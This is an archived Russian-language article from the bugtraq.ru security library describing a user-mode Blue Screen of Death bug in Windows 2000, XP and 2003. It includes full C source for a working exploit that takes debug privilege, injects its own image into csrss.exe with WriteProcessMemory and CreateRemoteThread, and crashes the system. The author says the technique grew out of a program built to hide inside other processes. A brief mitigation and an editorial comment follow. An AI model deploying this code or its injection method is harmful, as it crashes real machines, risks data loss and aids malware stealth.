информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100Spanning Tree Protocol: недокументированное применениеСтрашный баг в WindowsЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
 20 лет Ubuntu 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / internals
БИБЛИОТЕКА
вход в библиотеку
книги
безопасность
программирование
криптография
internals
www
телефония
underground
беллетристика
разное
обзор: избранное
конкурс
рейтинг статей
обсуждение




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




BSOD из user mode: бывает и такое
YuraN
Опубликовано: dl, 26.12.04 19:27

При написании программы, целью которой было спрятаться куда подальше от глаз пользователя, я сделал так, чтоб она пряталась в другом процессе. Для отладки созданный поток выводил сообщение с его PID и TID MessageBox'ом.

Когда программа уже была готова, я решил, что пора бы ей брать привилегию отладчика, дабы прятаться и в системых процессах (а-ля winlogon, svchost, etc). Сказано - сделано. Однако, забыв о том, что системному процессу вряд ли разрешено использовать GUI, а если и разрешено, то он может быть на другом десктопе, отладочные сообщения я не убрал. При первом же запуске вывалился BSOD.

В результате выяснил, что машина падает при вызове MessageBox в csrss.exe (стоит отметить, что это не первый BSOD, вызываемый этим процессом).

Избавиться от этой "возможности" можно, убрав права отладки (secpol.msc -> Local Policies -> User Rights Assignment -> Debug Programs)

Исходник прилагается, для сборки использовался Visual C 6.

/*
**************************************************************************
*
*  bsod.cpp
*  This is a user-mode BSOD exploit
*  Discovered on 23.12.2004 by YuraN
*  Contact me: yura_nev [@t] mail [d0t] ru ICQ#217436
*
**************************************************************************
*
*  THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
*  ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO
*  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
*  PARTICULAR PURPOSE.
*
**************************************************************************
*
*  Автор программы не несет какой-либо ответственности
*  за ее использование, а также за последствия ее использования.
*  Данная программа написана чисто в показательных целях.
*
**************************************************************************
*
*  TESTED ON
*       Win2k   SP4
*       WinXP   SP2
*       Win2003 SP1
*
**************************************************************************
*/

#include <windows.h>

typedef BOOL (WINAPI *tEnumProcesses)(DWORD*,DWORD,DWORD*);
typedef BOOL (WINAPI *tEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD);
typedef DWORD (WINAPI *tGetModuleBaseNameA)(HANDLE,HMODULE,LPSTR,DWORD);

typedef int (WINAPI *tMessageBoxA)(HWND,const char*,const char*,UINT);
#define CHADDR(type,x) ((##type)((DWORD)(x) + (DWORD)(hmem) - (DWORD)(hinst)))

tEnumProcesses EnumProcesses;
tEnumProcessModules EnumProcessModules;
tGetModuleBaseNameA GetModuleBaseName;

typedef struct {
    tMessageBoxA pMessageBox;
    char *txt;
} ADDRS;

void HideNT();
DWORD WINAPI Hack(ADDRS*);

ADDRS addrs;
char txt[] = "BSOD";
char s[1024];

void main(void)
{
    HMODULE psapi = LoadLibrary("psapi.dll");
    EnumProcesses = (tEnumProcesses)GetProcAddress(psapi,"EnumProcesses");
    EnumProcessModules = (tEnumProcessModules)GetProcAddress(psapi,"EnumProcessModules");
    GetModuleBaseName = (tGetModuleBaseNameA)GetProcAddress(psapi,"GetModuleBaseNameA");
    if(!EnumProcesses || !EnumProcessModules || !GetModuleBaseName) return;

    if(MessageBox(0,
            "This is a user-mode BSOD exploit.\r\n"
            "Data loss possible (up to filesystem crash)!\r\n"
            "All unsaved data will be lost!\r\n"
            "Do you really want to proceed?",
        "BSOD",MB_YESNO) == IDYES)
    {
        HideNT();
        Sleep(100);
        MessageBox(0,"Exploit failed","BSOD",0);
        ExitProcess(0);
    }
}

void HideNT()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    memset(&tkp,0,sizeof(tkp));
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    LookupPrivilegeValue(0,SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 0, 0);

    HMODULE hinst = GetModuleHandle(0);
    IMAGE_NT_HEADERS32 *pe = (IMAGE_NT_HEADERS32*)(((IMAGE_DOS_HEADER*)hinst)->e_lfanew + (DWORD)hinst);
    DWORD size = pe->OptionalHeader.SizeOfImage;
    DWORD wb;

    DWORD n;
    DWORD pr[1024];
    if(!EnumProcesses(pr,sizeof(pr),&n)) return;
    n >>= 2;

    DWORD cpid = GetCurrentProcessId();
    for(int i = 0; i < n; i++)
    {
        if(pr[i] == cpid) continue;
        HANDLE h = OpenProcess(PROCESS_ALL_ACCESS,0,pr[i]);
        if(!h) continue;
        HMODULE mod;
        DWORD nmod;
        EnumProcessModules(h,&mod,4,&nmod);
        GetModuleBaseName(h,mod,s,1023);
        if(lstrcmpi(s,"csrss.exe"))
        {
            CloseHandle(h);
            continue;
        }
        LPVOID hmem = VirtualAllocEx(h,0,size,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(!hmem)
        {
            CloseHandle(h);
            continue;
        }
        addrs.txt = CHADDR(char*,txt);
        addrs.pMessageBox = MessageBoxA;
        if(!WriteProcessMemory(h,hmem,(LPVOID)hinst,size,&wb))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
            continue;
        }
        DWORD tid;
        if(!CreateRemoteThread(h,0,0,
            (LPTHREAD_START_ROUTINE)((DWORD)Hack + (DWORD)hmem - (DWORD)hinst),
            (LPVOID)((LPVOID)((DWORD)&addrs - (DWORD)hinst + (DWORD)hmem)),0,&tid))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
        }
    }
}

DWORD WINAPI Hack(ADDRS *a)
{
    return a->pMessageBox(0,a->txt,a->txt,0);
}

Комментарий bugtraq.

Конечно, после внедрения в csrss это получается уже не совсем user mode, да и debug privilegies - сильная штука, доступная далеко не каждому пользователю, но осадочек неприятный остается.

обсудить  |  все отзывы (6)

[23206; 6; 8.16]




Rambler's Top100
Рейтинг@Mail.ru





  Copyright © 2001-2024 Dmitry Leonov   Page build time: 1 s   Design: Vadim Derkach